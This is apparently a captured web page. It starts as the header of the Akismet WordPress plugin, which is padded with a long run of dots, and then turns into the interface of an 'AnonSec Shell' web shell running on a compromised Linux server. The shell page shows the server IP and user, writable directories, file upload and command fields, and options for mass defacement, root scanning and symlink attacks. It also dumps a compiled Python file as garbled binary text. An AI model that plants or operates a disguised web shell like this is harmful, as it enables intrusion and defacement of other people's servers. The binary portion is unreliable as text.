#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/rhsmlib/facts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/rhsmlib/facts/virt.pyc
�
L��ec@`s�ddlmZmZmZddlZddlZddlmZddlm	Z
eje�Z
dejfd��YZdejfd��YZd	ejfd
��YZdS(i(tprint_functiontdivisiontabsolute_importN(t	collector(tcheck_outputtVirtWhatCollectorcB`seZd�Zd�ZRS(cC`s
|j�S(N(t
get_virt_info(tself((s8/usr/lib64/python2.7/site-packages/rhsmlib/facts/virt.pytget_allscC`s�i}yltd�}dj|j��}t|�|d<t|�r]t|d<||d<nt|d<d|d<Wn*tk
r�}tj|�d|d<nXy*|dj	d�dkr�t|d<nWnt
k
r�nX|S(	Ns/usr/sbin/virt-whats, s
virt.is_guestsvirt.host_typesNot ApplicabletUnknowntdom0i����(tcompat_check_outputtjoint
splitlinestbooltTruetFalset	Exceptiontlogt	exceptiontfindtKeyError(Rt	virt_dictt	host_typete((s8/usr/lib64/python2.7/site-packages/rhsmlib/facts/virt.pyR#s&




(t__name__t
__module__RR(((s8/usr/lib64/python2.7/site-packages/rhsmlib/facts/virt.pyRs	tVirtUuidCollectorcB`s>eZddgZdddgZd�Zd�Zd�ZRS(tppc64tppc64letpowervm_lx86sxen-dom0tibm_systemzcC`s
|j�S(N(t
get_virt_uuid(R((s8/usr/lib64/python2.7/site-packages/rhsmlib/facts/virt.pyRPscC`s�i}|jr2d|jkr2|jd|d<n|j|jkrZ|j|j��ny<tdd�}|j�}|j�|jd�|d<Wnt	k
r�nX|S(s�
        Given a populated fact list, add on a virt.uuid fact if appropriate.
        Partially adapted from Spacewalk's rhnreg.py, example hardware reporting
        found in virt-what tests
        sdmi.system.uuids	virt.uuids/sys/hypervisor/uuidtrs
(
t_collected_hw_infotarchtdevicetree_vm_uuid_archestupdatet_get_devicetree_vm_uuidtopentreadtclosetrstriptIOError(Rtvirt_uuid_dictt	uuid_filetuuid((s8/usr/lib64/python2.7/site-packages/rhsmlib/facts/virt.pyR Ss

cC`s�i}d|j}yEt|��3}|j�}|jtjd�}||d<WdQXWn&tk
r�}tjd||�nX|S(s�Collect the virt.uuid fact from device-tree/vm,uuid

        For ppc64/ppc64le systems running KVM or PowerKVM, the
        virt uuid is found in /proc/device-tree/vm,uuid.

        (In contrast to use of DMI on x86_64).s%s/proc/device-tree/vm,uuidts	virt.uuidNs+Tried to read %s but there was an error: %s(	tprefixR'R(tstriptstringt
whitespaceR+Rtwarn(RRtvm_uuid_pathtfotcontentstvm_uuidR((s8/usr/lib64/python2.7/site-packages/rhsmlib/facts/virt.pyR&ts
(RRR$tno_uuid_platformsRR R&(((s8/usr/lib64/python2.7/site-packages/rhsmlib/facts/virt.pyRFs
		!t
VirtCollectorcB`seZd�ZRS(cC`s�i}td|jd|j�}|j�}|j|�xFtjD];}|jdd�dks{|dj	|�dkrD|SqDW|dr�td|jd|jd|j
�}|j�}|j|�n|S(NR0ttestingsvirt.host_typei����s
virt.is_guesttcollected_hw_info(RR0R;RR%RR9tgettNoneRR"(Rt	virt_infotvirt_what_collectortvirt_what_infotno_uuid_host_typetvirt_uuid_collectortvirt_uuid_info((s8/usr/lib64/python2.7/site-packages/rhsmlib/facts/virt.pyR�s 

		(RRR(((s8/usr/lib64/python2.7/site-packages/rhsmlib/facts/virt.pyR:�s(t
__future__RRRtloggingR2t
rhsmlib.factsRtrhsmlib.compatRRt	getLoggerRRtFactsCollectorRRR:(((s8/usr/lib64/python2.7/site-packages/rhsmlib/facts/virt.pyt<module>s(G

Anon7 - 2022
AnonSec Team